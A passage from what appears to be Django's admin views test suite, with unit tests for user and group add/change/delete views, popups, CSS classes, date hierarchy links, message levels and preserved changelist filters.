        self.assertRedirects(response, reverse('admin:auth_user_change', args=(new_user.pk,)))
        self.assertEqual(User.objects.count(), user_count + 1)
        self.assertTrue(new_user.has_usable_password())

    def test_save_continue_editing_button(self):
        user_count = User.objects.count()
        response = self.client.post(reverse('admin:auth_user_add'), {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'newpassword',
            '_continue': '1',
        })
        new_user = User.objects.get(username='newuser')
        self.assertRedirects(response, reverse('admin:auth_user_change', args=(new_user.pk,)))
        self.assertEqual(User.objects.count(), user_count + 1)
        self.assertTrue(new_user.has_usable_password())

    def test_password_mismatch(self):
        response = self.client.post(reverse('admin:auth_user_add'), {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'mismatch',
        })
        self.assertEqual(response.status_code, 200)
        adminform = response.context['adminform']
        self.assertNotIn('password', adminform.form.errors)
        self.assertEqual(adminform.form.errors['password2'], ["The two password fields didn't match."])

    def test_user_fk_add_popup(self):
        """User addition through a FK popup should return the appropriate JavaScript response."""
        response = self.client.get(reverse('admin:admin_views_album_add'))
        self.assertContains(response, reverse('admin:auth_user_add'))
        self.assertContains(response, 'class="related-widget-wrapper-link add-related" id="add_id_owner"')
        response = self.client.get(reverse('admin:auth_user_add') + '?_popup=1')
        self.assertNotContains(response, 'name="_continue"')
        self.assertNotContains(response, 'name="_addanother"')
        data = {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'newpassword',
            '_popup': '1',
            '_save': '1',
        }
        response = self.client.post(reverse('admin:auth_user_add') + '?_popup=1', data, follow=True)
        self.assertContains(response, '&quot;obj&quot;: &quot;newuser&quot;')

    def test_user_fk_change_popup(self):
        """User change through a FK popup should return the appropriate JavaScript response."""
        response = self.client.get(reverse('admin:admin_views_album_add'))
        self.assertContains(response, reverse('admin:auth_user_change', args=('__fk__',)))
        self.assertContains(response, 'class="related-widget-wrapper-link change-related" id="change_id_owner"')
        user = User.objects.get(username='changeuser')
        url = reverse('admin:auth_user_change', args=(user.pk,)) + '?_popup=1'
        response = self.client.get(url)
        self.assertNotContains(response, 'name="_continue"')
        self.assertNotContains(response, 'name="_addanother"')
        data = {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'newpassword',
            'last_login_0': '2007-05-30',
            'last_login_1': '13:20:10',
            'date_joined_0': '2007-05-30',
            'date_joined_1': '13:20:10',
            '_popup': '1',
            '_save': '1',
        }
        response = self.client.post(url, data, follow=True)
        self.assertContains(response, '&quot;obj&quot;: &quot;newuser&quot;')
        self.assertContains(response, '&quot;action&quot;: &quot;change&quot;')

    def test_user_fk_delete_popup(self):
        """User deletion through a FK popup should return the appropriate JavaScript response."""
        response = self.client.get(reverse('admin:admin_views_album_add'))
        self.assertContains(response, reverse('admin:auth_user_delete', args=('__fk__',)))
        self.assertContains(response, 'class="related-widget-wrapper-link change-related" id="change_id_owner"')
        user = User.objects.get(username='changeuser')
        url = reverse('admin:auth_user_delete', args=(user.pk,)) + '?_popup=1'
        response = self.client.get(url)
        self.assertEqual(response.status_code, 200)
        data = {
            'post': 'yes',
            '_popup': '1',
        }
        response = self.client.post(url, data, follow=True)
        self.assertContains(response, '&quot;action&quot;: &quot;delete&quot;')

    def test_save_add_another_button(self):
        user_count = User.objects.count()
        response = self.client.post(reverse('admin:auth_user_add'), {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'newpassword',
            '_addanother': '1',
        })
        new_user = User.objects.order_by('-id')[0]
        self.assertRedirects(response, reverse('admin:auth_user_add'))
        self.assertEqual(User.objects.count(), user_count + 1)
        self.assertTrue(new_user.has_usable_password())

    def test_user_permission_performance(self):
        u = User.objects.all()[0]

        # Don't depend on a warm cache, see #17377.
        ContentType.objects.clear_cache()

        with self.assertNumQueries(10):
            response = self.client.get(reverse('admin:auth_user_change', args=(u.pk,)))
            self.assertEqual(response.status_code, 200)

    def test_form_url_present_in_context(self):
        u = User.objects.all()[0]
        response = self.client.get(reverse('admin3:auth_user_password_change', args=(u.pk,)))
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['form_url'], 'pony')


@override_settings(ROOT_URLCONF='admin_views.urls')
class GroupAdminTest(TestCase):
    """
    Tests group CRUD functionality.
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_save_button(self):
        group_count = Group.objects.count()
        response = self.client.post(reverse('admin:auth_group_add'), {
            'name': 'newgroup',
        })

        Group.objects.order_by('-id')[0]
        self.assertRedirects(response, reverse('admin:auth_group_changelist'))
        self.assertEqual(Group.objects.count(), group_count + 1)

    def test_group_permission_performance(self):
        g = Group.objects.create(name="test_group")

        # Ensure no queries are skipped due to cached content type for Group.
        ContentType.objects.clear_cache()

        with self.assertNumQueries(8):
            response = self.client.get(reverse('admin:auth_group_change', args=(g.pk,)))
            self.assertEqual(response.status_code, 200)


@override_settings(ROOT_URLCONF='admin_views.urls')
class CSSTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

    def setUp(self):
        self.client.force_login(self.superuser)

    @ignore_warnings(category=RemovedInDjango20Warning)  # for allow_tags deprecation
    def test_field_prefix_css_classes(self):
        """
        Ensure that fields have a CSS class name with a 'field-' prefix.
        Refs #16371.
        """
        response = self.client.get(reverse('admin:admin_views_post_add'))

        # The main form
        self.assertContains(response, 'class="form-row field-title"')
        self.assertContains(response, 'class="form-row field-content"')
        self.assertContains(response, 'class="form-row field-public"')
        self.assertContains(response, 'class="form-row field-awesomeness_level"')
        self.assertContains(response, 'class="form-row field-coolness"')
        self.assertContains(response, 'class="form-row field-value"')
        self.assertContains(response, 'class="form-row"')  # The lambda function

        # The tabular inline
        self.assertContains(response, '<td class="field-url">')
        self.assertContains(response, '<td class="field-posted">')

    def test_index_css_classes(self):
        """
        Ensure that CSS class names are used for each app and model on the
        admin index pages.
        Refs #17050.
        """
        # General index page
        response = self.client.get(reverse('admin:index'))
        self.assertContains(response, '<div class="app-admin_views module">')
        self.assertContains(response, '<tr class="model-actor">')
        self.assertContains(response, '<tr class="model-album">')

        # App index page
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertContains(response, '<div class="app-admin_views module">')
        self.assertContains(response, '<tr class="model-actor">')
        self.assertContains(response, '<tr class="model-album">')

    def test_app_model_in_form_body_class(self):
        """
        Ensure app and model tag are correctly read by change_form template
        """
        response = self.client.get(reverse('admin:admin_views_section_add'))
        self.assertContains(response, '<body class=" app-admin_views model-section ')

    def test_app_model_in_list_body_class(self):
        """
        Ensure app and model tag are correctly read by change_list template
        """
        response = self.client.get(reverse('admin:admin_views_section_changelist'))
        self.assertContains(response, '<body class=" app-admin_views model-section ')

    def test_app_model_in_delete_confirmation_body_class(self):
        """
        Ensure app and model tag are correctly read by delete_confirmation
        template
        """
        response = self.client.get(reverse('admin:admin_views_section_delete', args=(self.s1.pk,)))
        self.assertContains(response, '<body class=" app-admin_views model-section ')

    def test_app_model_in_app_index_body_class(self):
        """
        Ensure app and model tag are correctly read by app_index template
        """
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertContains(response, '<body class=" dashboard app-admin_views')

    def test_app_model_in_delete_selected_confirmation_body_class(self):
        """
        Ensure app and model tag are correctly read by
        delete_selected_confirmation template
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'delete_selected',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_section_changelist'), action_data)
        self.assertContains(response, '<body class=" app-admin_views model-section ')

    def test_changelist_field_classes(self):
        """
        Cells of the change list table should contain the field name in their class attribute
        Refs #11195.
        """
        Podcast.objects.create(name="Django Dose", release_date=datetime.date.today())
        response = self.client.get(reverse('admin:admin_views_podcast_changelist'))
        self.assertContains(response, '<th class="field-name">')
        self.assertContains(response, '<td class="field-release_date nowrap">')
        self.assertContains(response, '<td class="action-checkbox">')


try:
    import docutils
except ImportError:
    docutils = None


@unittest.skipUnless(docutils, "no docutils installed.")
@override_settings(ROOT_URLCONF='admin_views.urls')
@modify_settings(INSTALLED_APPS={'append': ['django.contrib.admindocs', 'django.contrib.flatpages']})
class AdminDocsTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_tags(self):
        response = self.client.get(reverse('django-admindocs-tags'))

        # The builtin tag group exists
        self.assertContains(response, "<h2>Built-in tags</h2>", count=2, html=True)

        # A builtin tag exists in both the index and detail
        self.assertContains(response, '<h3 id="built_in-autoescape">autoescape</h3>', html=True)
        self.assertContains(response, '<li><a href="#built_in-autoescape">autoescape</a></li>', html=True)

        # An app tag exists in both the index and detail
        self.assertContains(response, '<h3 id="flatpages-get_flatpages">get_flatpages</h3>', html=True)
        self.assertContains(response, '<li><a href="#flatpages-get_flatpages">get_flatpages</a></li>', html=True)

        # The admin list tag group exists
        self.assertContains(response, "<h2>admin_list</h2>", count=2, html=True)

        # An admin list tag exists in both the index and detail
        self.assertContains(response, '<h3 id="admin_list-admin_actions">admin_actions</h3>', html=True)
        self.assertContains(response, '<li><a href="#admin_list-admin_actions">admin_actions</a></li>', html=True)

    def test_filters(self):
        response = self.client.get(reverse('django-admindocs-filters'))

        # The builtin filter group exists
        self.assertContains(response, "<h2>Built-in filters</h2>", count=2, html=True)

        # A builtin filter exists in both the index and detail
        self.assertContains(response, '<h3 id="built_in-add">add</h3>', html=True)
        self.assertContains(response, '<li><a href="#built_in-add">add</a></li>', html=True)


@override_settings(
    ROOT_URLCONF='admin_views.urls',
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    }],
    USE_I18N=False,
)
class ValidXHTMLTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_lang_name_present(self):
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertNotContains(response, ' lang=""')
        self.assertNotContains(response, ' xml:lang=""')


@override_settings(ROOT_URLCONF='admin_views.urls', USE_THOUSAND_SEPARATOR=True, USE_L10N=True)
class DateHierarchyTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def tearDown(self):
        formats.reset_format_cache()

    def assert_non_localized_year(self, response, year):
        """Ensure that the year is not localized with
        USE_THOUSAND_SEPARATOR. Refs #15234.
        """
        self.assertNotContains(response, formats.number_format(year))

    def assert_contains_year_link(self, response, date):
        self.assertContains(response, '?release_date__year=%d"' % (date.year,))

    def assert_contains_month_link(self, response, date):
        self.assertContains(
            response, '?release_date__month=%d&amp;release_date__year=%d"' % (
                date.month, date.year))

    def assert_contains_day_link(self, response, date):
        self.assertContains(
            response, '?release_date__day=%d&amp;'
            'release_date__month=%d&amp;release_date__year=%d"' % (
                date.day, date.month, date.year))

    def test_empty(self):
        """
        Ensure that no date hierarchy links display with empty changelist.
        """
        response = self.client.get(
            reverse('admin:admin_views_podcast_changelist'))
        self.assertNotContains(response, 'release_date__year=')
        self.assertNotContains(response, 'release_date__month=')
        self.assertNotContains(response, 'release_date__day=')

    def test_single(self):
        """
        Ensure that single day-level date hierarchy appears for single object.
        """
        DATE = datetime.date(2000, 6, 30)
        Podcast.objects.create(release_date=DATE)
        url = reverse('admin:admin_views_podcast_changelist')
        response = self.client.get(url)
        self.assert_contains_day_link(response, DATE)
        self.assert_non_localized_year(response, 2000)

    def test_within_month(self):
        """
        Ensure that day-level links appear for changelist within single month.
        """
        DATES = (datetime.date(2000, 6, 30),
                 datetime.date(2000, 6, 15),
                 datetime.date(2000, 6, 3))
        for date in DATES:
            Podcast.objects.create(release_date=date)
        url = reverse('admin:admin_views_podcast_changelist')
        response = self.client.get(url)
        for date in DATES:
            self.assert_contains_day_link(response, date)
        self.assert_non_localized_year(response, 2000)

    def test_within_year(self):
        """
        Ensure that month-level links appear for changelist within single year.
        """
        DATES = (datetime.date(2000, 1, 30),
                 datetime.date(2000, 3, 15),
                 datetime.date(2000, 5, 3))
        for date in DATES:
            Podcast.objects.create(release_date=date)
        url = reverse('admin:admin_views_podcast_changelist')
        response = self.client.get(url)
        # no day-level links
        self.assertNotContains(response, 'release_date__day=')
        for date in DATES:
            self.assert_contains_month_link(response, date)
        self.assert_non_localized_year(response, 2000)

    def test_multiple_years(self):
        """
        Ensure that year-level links appear for year-spanning changelist.
        """
        DATES = (datetime.date(2001, 1, 30),
                 datetime.date(2003, 3, 15),
                 datetime.date(2005, 5, 3))
        for date in DATES:
            Podcast.objects.create(release_date=date)
        response = self.client.get(
            reverse('admin:admin_views_podcast_changelist'))
        # no day/month-level links
        self.assertNotContains(response, 'release_date__day=')
        self.assertNotContains(response, 'release_date__month=')
        for date in DATES:
            self.assert_contains_year_link(response, date)

        # and make sure GET parameters still behave correctly
        for date in DATES:
            url = '%s?release_date__year=%d' % (
                  reverse('admin:admin_views_podcast_changelist'),
                  date.year)
            response = self.client.get(url)
            self.assert_contains_month_link(response, date)
            self.assert_non_localized_year(response, 2000)
            self.assert_non_localized_year(response, 2003)
            self.assert_non_localized_year(response, 2005)

            url = '%s?release_date__year=%d&release_date__month=%d' % (
                  reverse('admin:admin_views_podcast_changelist'),
                  date.year, date.month)
            response = self.client.get(url)
            self.assert_contains_day_link(response, date)
            self.assert_non_localized_year(response, 2000)
            self.assert_non_localized_year(response, 2003)
            self.assert_non_localized_year(response, 2005)

    def test_related_field(self):
        questions_data = (
            # (posted data, number of answers),
            (datetime.date(2001, 1, 30), 0),
            (datetime.date(2003, 3, 15), 1),
            (datetime.date(2005, 5, 3), 2),
        )
        for date, answer_count in questions_data:
            question = Question.objects.create(posted=date)
            for i in range(answer_count):
                question.answer_set.create()

        response = self.client.get(reverse('admin:admin_views_answer_changelist'))
        for date, answer_count in questions_data:
            link = '?question__posted__year=%d"' % (date.year,)
            if answer_count > 0:
                self.assertContains(response, link)
            else:
                self.assertNotContains(response, link)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminCustomSaveRelatedTests(TestCase):
    """
    Ensure that one can easily customize the way related objects are saved.
    Refs #16115.
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_should_be_able_to_edit_related_objects_on_add_view(self):
        post = {
            'child_set-TOTAL_FORMS': '3',
            'child_set-INITIAL_FORMS': '0',
            'name': 'Josh Stone',
            'child_set-0-name': 'Paul',
            'child_set-1-name': 'Catherine',
        }
        self.client.post(reverse('admin:admin_views_parent_add'), post)
        self.assertEqual(1, Parent.objects.count())
        self.assertEqual(2, Child.objects.count())

        children_names = list(Child.objects.order_by('name').values_list('name', flat=True))

        self.assertEqual('Josh Stone', Parent.objects.latest('id').name)
        self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names)

    def test_should_be_able_to_edit_related_objects_on_change_view(self):
        parent = Parent.objects.create(name='Josh Stone')
        paul = Child.objects.create(parent=parent, name='Paul')
        catherine = Child.objects.create(parent=parent, name='Catherine')
        post = {
            'child_set-TOTAL_FORMS': '5',
            'child_set-INITIAL_FORMS': '2',
            'name': 'Josh Stone',
            'child_set-0-name': 'Paul',
            'child_set-0-id': paul.id,
            'child_set-1-name': 'Catherine',
            'child_set-1-id': catherine.id,
        }
        self.client.post(reverse('admin:admin_views_parent_change', args=(parent.id,)), post)

        children_names = list(Child.objects.order_by('name').values_list('name', flat=True))

        self.assertEqual('Josh Stone', Parent.objects.latest('id').name)
        self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names)

    def test_should_be_able_to_edit_related_objects_on_changelist_view(self):
        parent = Parent.objects.create(name='Josh Rock')
        Child.objects.create(parent=parent, name='Paul')
        Child.objects.create(parent=parent, name='Catherine')
        post = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '1',
            'form-MAX_NUM_FORMS': '0',
            'form-0-id': parent.id,
            'form-0-name': 'Josh Stone',
            '_save': 'Save'
        }

        self.client.post(reverse('admin:admin_views_parent_changelist'), post)
        children_names = list(Child.objects.order_by('name').values_list('name', flat=True))

        self.assertEqual('Josh Stone', Parent.objects.latest('id').name)
        self.assertEqual(['Catherine Stone', 'Paul Stone'], children_names)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewLogoutTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def test_logout(self):
        self.client.force_login(self.superuser)
        response = self.client.get(reverse('admin:logout'))
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, 'registration/logged_out.html')
        self.assertEqual(response.request['PATH_INFO'], reverse('admin:logout'))
        self.assertFalse(response.context['has_permission'])
        self.assertNotContains(response, 'user-tools')  # user-tools div shouldn't visible.

    def test_client_logout_url_can_be_used_to_login(self):
        response = self.client.get(reverse('admin:logout'))
        self.assertEqual(response.status_code, 302)  # we should be redirected to the login page.

        # follow the redirect and test results.
        response = self.client.get(reverse('admin:logout'), follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, 'admin/login.html')
        self.assertEqual(response.request['PATH_INFO'], reverse('admin:login'))
        self.assertContains(response, '<input type="hidden" name="next" value="%s" />' % reverse('admin:index'))


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminUserMessageTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def send_message(self, level):
        """
        Helper that sends a post to the dummy test methods and asserts that a
        message with the level has appeared in the response.
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'message_%s' % level,
            'index': 0,
        }

        response = self.client.post(reverse('admin:admin_views_usermessenger_changelist'),
                                    action_data, follow=True)
        self.assertContains(response,
                            '<li class="%s">Test %s</li>' % (level, level),
                            html=True)

    @override_settings(MESSAGE_LEVEL=10)  # Set to DEBUG for this request
    def test_message_debug(self):
        self.send_message('debug')

    def test_message_info(self):
        self.send_message('info')

    def test_message_success(self):
        self.send_message('success')

    def test_message_warning(self):
        self.send_message('warning')

    def test_message_error(self):
        self.send_message('error')

    def test_message_extra_tags(self):
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'message_extra_tags',
            'index': 0,
        }

        response = self.client.post(reverse('admin:admin_views_usermessenger_changelist'),
                                    action_data, follow=True)
        self.assertContains(response,
                            '<li class="extra_tag info">Test tags</li>',
                            html=True)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminKeepChangeListFiltersTests(TestCase):
    admin_site = site

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.joepublicuser = User.objects.create_user(username='joepublic', password='secret')

    def setUp(self):
        self.client.force_login(self.superuser)

    def assertURLEqual(self, url1, url2):
        """
        Assert that two URLs are equal despite the ordering
        of their querystring. Refs #22360.
        """
        parsed_url1 = urlparse(url1)
        path1 = parsed_url1.path
        parsed_qs1 = dict(parse_qsl(parsed_url1.query))

        parsed_url2 = urlparse(url2)
        path2 = parsed_url2.path
        parsed_qs2 = dict(parse_qsl(parsed_url2.query))

        for parsed_qs in [parsed_qs1, parsed_qs2]:
            if '_changelist_filters' in parsed_qs:
                changelist_filters = parsed_qs['_changelist_filters']
                parsed_filters = dict(parse_qsl(changelist_filters))
                parsed_qs['_changelist_filters'] = parsed_filters

        self.assertEqual(path1, path2)
        self.assertEqual(parsed_qs1, parsed_qs2)

    def test_assert_url_equal(self):
        # Test equality.
        change_user_url = reverse('admin:auth_user_change', args=(self.joepublicuser.pk,))
        self.assertURLEqual(
            'http://testserver{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(
                change_user_url
            ),
            'http://testserver{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(
                change_user_url
            )
        )

        # Test inequality.
        with self.assertRaises(AssertionError):
            self.assertURLEqual(
                'http://testserver{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(
                    change_user_url
                ),
                'http://testserver{}?_changelist_filters=is_staff__exact%3D1%26is_superuser__exact%3D1'.format(
                    change_user_url
                )
            )

        # Ignore scheme and host.
        self.assertURLEqual(
            'http://testserver{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(
                change_user_url
            ),
            '{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(change_user_url)
        )

        # Ignore ordering of querystring.
        self.assertURLEqual(
            '{}?is_staff__exact=0&is_superuser__exact=0'.format(reverse('admin:auth_user_changelist')),
            '{}?is_superuser__exact=0&is_staff__exact=0'.format(reverse('admin:auth_user_changelist'))
        )

        # Ignore ordering of _changelist_filters.
        self.assertURLEqual(
            '{}?_changelist_filters=is_staff__exact%3D0%26is_superuser__exact%3D0'.format(change_user_url),
            '{}?_changelist_filters=is_superuser__exact%3D0%26is_staff__exact%3D0'.format(change_user_url)
        )

    def get_changelist_filters(self):
        return {
            'is_superuser__exact': 0,
            'is_staff__exact': 0,
        }

    def get_changelist_filters_querystring(self):
        return urlencode(self.get_changelist_filters())

    def get_preserved_filters_querystring(self):
        return urlencode({
            '_changelist_filters': self.get_changelist_filters_querystring()
        })

    def get_sample_user_id(self):
        return self.joepublicuser.pk

    def get_changelist_url(self):
        return '%s?%s' % (
            reverse('admin:auth_user_changelist',
                    current_app=self.admin_site.name),
            self.get_changelist_filters_querystring(),
        )

    def get_add_url(self):
        return '%s?%s' % (
            reverse('admin:auth_user_add',
                    current_app=self.admin_site.name),
            self.get_preserved_filters_querystring(),
        )

    def get_change_url(self, user_id=None):
        if user_id is None:
            user_id = self.get_sample_user_id()
        return "%s?%s" % (
            reverse('admin:auth_user_change', args=(user_id,),
                    current_app=self.admin_site.name),
            self.get_preserved_filters_querystring(),
        )

    def get_history_url(self, user_id=None):
        if user_id is None:
            user_id = self.get_sample_user_id()
        return "%s?%s" % (
            reverse('admin:auth_user_history', args=(user_id,),
                    current_app=self.admin_site.name),
            self.get_preserved_filters_querystring(),
        )

    def get_delete_url(self, user_id=None):
        if user_id is None:
            user_id = self.get_sample_user_id()
        return "%s?%s" % (
            reverse('admin:auth_user_delete', args=(user_id,),
                    current_app=self.admin_site.name),
            self.get_preserved_filters_querystring(),
        )

    def test_changelist_view(self):
        response = self.client.get(self.get_changelist_url())
        self.assertEqual(response.status_code, 200)

        # Check the `change_view` link has the correct querystring.
        detail_link = re.search(
            '<a href="(.*?)">{}</a>'.format(self.joepublicuser.username),
            force_text(response.content)
        )
        self.assertURLEqual(detail_link.group(1), self.get_change_url())

    def test_change_view(self):
        # Get the `change_view`.
        response = self.client.get(self.get_change_url())
        self.assertEqual(response.status_code, 200)

        # Check the form action.
        form_action = re.search(
            '<form enctype="multipart/form-data" action="(.*?)" method="post" id="user_form".*?>',
            force_text(response.content)
        )
        self.assertURLEqual(form_action.group(1), '?%s' % self.get_preserved_filters_querystring())

        # Check the history link.
        history_link = re.search(
            '<a href="(.*?)" class="historylink">History</a>',
            force_text(response.content)
        )
        self.assertURLEqual(history_link.group(1), self.get_history_url())

        # Check the delete link.
        delete_link = re.search(
            '<a href="(.*?)" class="deletelink">Delete</a>',
            force_text(response.content)
        )
        self.assertURLEqual(delete_link.group(1), self.get_delete_url())

        # Test redirect on "Save".
        post_data = {
            'username': 'joepublic',
            'last_login_0': '2007-05-30',
            'last_login_1': '13:20:10',
            'date_joined_0': '2007-05-30',
            'date_joined_1': '13:20:10',
        }

        post_data['_save'] = 1
        response = self.client.post(self.get_change_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_changelist_url()
        )
        post_data.pop('_save')

        # Test redirect on "Save and continue".
        post_data['_continue'] = 1
        response = self.client.post(self.get_change_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_change_url()
        )
        post_data.pop('_continue')

        # Test redirect on "Save and add new".
        post_data['_addanother'] = 1
        response = self.client.post(self.get_change_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_add_url()
        )
        post_data.pop('_addanother')

    def test_add_view(self):
        # Get the `add_view`.
        response = self.client.get(self.get_add_url())
        self.assertEqual(response.status_code, 200)

        # Check the form action.
        form_action = re.search(
            '<form enctype="multipart/form-data" action="(.*?)" method="post" id="user_form".*?>',
            force_text(response.content)
        )
        self.assertURLEqual(form_action.group(1), '?%s' % self.get_preserved_filters_querystring())

        post_data = {
            'username': 'dummy',
            'password1': 'test',
            'password2': 'test',
        }

        # Test redirect on "Save".
        post_data['_save'] = 1
        response = self.client.post(self.get_add_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_change_url(User.objects.get(username='dummy').pk)
        )
        post_data.pop('_save')

        # Test redirect on "Save and continue".
        post_data['username'] = 'dummy2'
        post_data['_continue'] = 1
        response = self.client.post(self.get_add_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_change_url(User.objects.get(username='dummy2').pk)
        )
        post_data.pop('_continue')

        # Test redirect on "Save and add new".
        post_data['username'] = 'dummy3'
        post_data['_addanother'] = 1
        response = self.client.post(self.get_add_url(), data=post_data)
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_add_url()
        )
        post_data.pop('_addanother')

    def test_delete_view(self):
        # Test redirect on "Delete".
        response = self.client.post(self.get_delete_url(), {'post': 'yes'})
        self.assertEqual(response.status_code, 302)
        self.assertURLEqual(
            response.url,
            self.get_changelist_url()
        )

    def test_url_prefix(self):
        context = {
            'preserved_filters': self.get_preserved_filters_querystring(),
            'opts': User._meta,
        }

        url = reverse('admin:auth_user_changelist', current_app=self.admin_site.name)
        self.assertURLEqual(
            self.get_changelist_url(),
            add_preserved_filters(context, url),
        )

        with override_script_prefix('/prefix/'):
            url = reverse('admin:auth_user_changelist', current_app=self.admin_site.name)
            self.assertURLEqual(
                self.get_changelist_url(),
                add_preserved_filters(context, url),
            )


class NamespacedAdminKeepChangeListFiltersTests(AdminKeepChangeListFiltersTests):
    admin_site = site2


@override_settings(ROOT_URLCONF='admin_views.urls')
class TestLabelVisibility(TestCase):
    """ #11277 -Labels of hidden fields in admin were not hidden. """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_all_fields_visible(self):
        response = self.client.get(reverse('admin:admin_views_emptymodelvisible_add'))
        self.assert_fieldline_visible(response)
        self.assert_field_visible(response, 'first')
        self.assert_field_visible(response, 'second')

    def test_all_fields_hidden(self):
        response = self.client.get(reverse('admin:admin_views_emptymodelhidden_add'))
        self.assert_fieldline_hidden(response)
        self.assert_field_hidden(response, 'first')
        self.assert_field_hidden(response, 'second')

    def test_mixin(self):
        response = self.client.get(reverse('admin:admin_views_emptymodelmixin_add'))
        self.assert_fieldline_visible(response)
        self.assert_field_hidden(response, 'first')
        self.assert_field_visible(response, 'second')

    def assert_field_visible(self, response, field_name):
        self.assertContains(response, '<div class="field-box field-%s">' % field_name)

    def assert_field_hidden(self, response, field_name):
        self.assertContains(response, '<div class="field-box field-%s hidden">' % field_name)

    def assert_fieldline_visible(self, response):
        self.assertContains(response, '<div class="form-row field-first field-second">')

    def assert_fieldline_hidden(self, response):
        self.assertContains(response, '<div class="form-row hidden')


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewOnSiteTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

        cls.s1 = State.objects.create(name='New York')
        cls.s2 = State.objects.create(name='Illinois')
        cls.s3 = State.objects.create(name='California')
        cls.c1 = City.objects.create(state=cls.s1, name='New York')
        cls.c2 = City.objects.create(state=cls.s2, name='Chicago')
        cls.c3 = City.objects.create(state=cls.s3, name='San Francisco')
        cls.r1 = Restaurant.objects.create(city=cls.c1, name='Italian Pizza')
        cls.r2 = Restaurant.objects.create(city=cls.c1, name='Boulevard')
        cls.r3 = Restaurant.objects.create(city=cls.c2, name='Chinese Dinner')
        cls.r4 = Restaurant.objects.create(city=cls.c2, name='Angels')
        cls.r5 = Restaurant.objects.create(city=cls.c2, name='Take Away')
        cls.r6 = Restaurant.objects.create(city=cls.c3, name='The Unknown Restaurant')
        cls.w1 = Worker.objects.create(work_at=cls.r1, name='Mario', surname='Rossi')
        cls.w2 = Worker.objects.create(work_at=cls.r1, name='Antonio', surname='Bianchi')
